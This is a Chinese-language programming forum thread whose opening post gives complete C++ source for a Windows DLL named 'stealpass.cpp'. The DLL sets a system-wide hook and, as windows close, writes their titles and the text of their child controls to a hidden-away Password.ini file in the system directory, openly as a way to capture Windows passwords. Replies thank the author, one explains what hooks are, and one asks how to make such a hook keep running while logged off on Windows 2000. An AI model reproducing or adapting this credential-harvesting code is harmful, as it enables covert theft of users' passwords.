关于钩子的使用示例：钩取window密码

[yndfcd]

/* stealpass.cpp */
/* use this file to create a dll */
/* if you have any suggestion, */
/* please contact me. */

//plateform: window 98, vc++5.0
//Note: this sample do not have any error handling code

//exports: StartWork(), StopWork()

#include <windows.h>
#include <stdio.h>

HANDLE hInst;
HHOOK hHook;

LRESULT CALLBACK GetPass(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK EnumChildProc(HWND hWnd , LPARAM lParam);
HANDLE CreatePassFile();

BOOL WINAPI DllMain(HANDLE hInstance , DWORD fdwReason,LPVOID lpReserved)
{
hInst = hInstance;
return TRUE;
}

extern "C" __declspec(dllexport) void StartWork()
{
//Setup Hook
hHook = SetWindowsHookEx( WH_CBT, //WH_CBT hook
(HOOKPROC)GetPass, //hook procedure
hInst, //the dll instance which
// contains the hook procedure
0); // hook all threads
//Error handling code should be added
}

LRESULT CALLBACK GetPass(int nCode, WPARAM wParam , LPARAM lParam)
{
HWND hWnd;
HANDLE hFile;
DWORD dwFileLen;
DWORD dwWritten;
char strName[80];

switch(nCode)
{
case HCBT_ACTIVATE://A window is about to be activated or deactiveted
break;
case HCBT_CLICKSKIPPED://A mouse Message is about to be removed for message queue
break;
case HCBT_KEYSKIPPED://A key stroke message is about to be removed
break;
case HCBT_CREATEWND://A window is about to be created
break;
case HCBT_DESTROYWND://A window is about to be destoryed
hFile = CreatePassFile();
dwFileLen = SetFilePointer( hFile, 0, NULL, FILE_END);
WriteFile(hFile,"*************************Begin***********************\r\n",55,&dwWritten,NULL);
//Error handling code

hWnd = (HWND)wParam;
//Add you own window filter
//process only the window you want to
GetWindowText(hWnd, strName, 80);
strcat(strName, "\r\n");
WriteFile(hFile,strName, strlen(strName),&dwWritten,NULL);

EnumChildWindows( hWnd , (WNDENUMPROC)EnumChildProc,(LPARAM)hFile);

WriteFile(hFile,"**************************End************************\r\n",55,&dwWritten,NULL);
CloseHandle(hFile);
//Error handling code
break;
}

return CallNextHookEx( hHook, nCode ,wParam, lParam);
}

LRESULT CALLBACK EnumChildProc(HWND hWnd , LPARAM lParam)
{
HANDLE hFile = (HANDLE)lParam ;
DWORD dwWritten;
char strClassName[80];
char strWndName[80];
char strBuffer[160];

GetClassName(hWnd , strClassName , 80);
GetWindowText(hWnd, strWndName, 80);
sprintf( strBuffer, "%s\t(%s)\r\n", strWndName, strClassName);
WriteFile(hFile, strBuffer, strlen(strBuffer), &dwWritten ,NULL);
return TRUE;
}

extern "C" __declspec(dllexport) void StopWork()
{
//Unhook the Hook
UnhookWindowsHookEx(hHook);
}

//Help Function
//Create the file use to store the password
HANDLE CreatePassFile()
{
char strBuffer[MAX_PATH];
GetSystemDirectory(strBuffer,sizeof(strBuffer));

strcat(strBuffer, "\\Password.ini");

DWORD dwCreateMethod;
WIN32_FIND_DATA wfd;
HANDLE hSearch = FindFirstFile(strBuffer, &wfd);
if(hSearch == INVALID_HANDLE_VALUE)
dwCreateMethod = CREATE_NEW;
else
dwCreateMethod = OPEN_EXISTING;

HANDLE hFile = CreateFile(strBuffer,
GENERIC_WRITE,
0,
NULL,
dwCreateMethod,
FILE_ATTRIBUTE_NORMAL,
NULL);
return hFile;
}

this is a sample hook procedure; I hope it might help you
And I also help you can put up you own expirence in writing
win32 base programs,so that we can communicate.

[yndfcd]

终于有人看了，如果大家觉得好的话，请告诉我。
QQ：184383129
email：[e-mail]

bells2000(洪)
钩子是操作系统的一种服务，提供在对应用程序所收的各种消息的拦截，
在应用程序收到消息之前，使该消息先由钩子来处理。

[GoldenSword]

这样的方法可以取得Windows下用户对某个应用程序的一切输入，当然也包括用户输入的密码。
现在我想做一个在Windows2K下注销状态也可以运行的钩子程序，这就有些困难了。在98下面，可以用RegisterSystemService函数来登记为系统服务程序，在2k下不知怎么做？

[yndfcd]

在硬件/系统栏放了两天，居然没一个人看，看来来这里的都是高手，
还是转到基础栏去吧。

[mldds]

up

[用户 昵称]

thanks

[ksyou]

xuexi

[bells2000]

可以说说钩子的具体概念吗？？

[bells2000]

TO：yndfcd(YNDFCD)
小弟感激不尽。
UP~~

[CPerlAsm_Lx]

yndfcd (YNDFCD) 弟弟，谢谢你的帖子，准备200分给你！！！

[CPerlAsm_Lx]

不过，既然你不要，就不给喽~~~先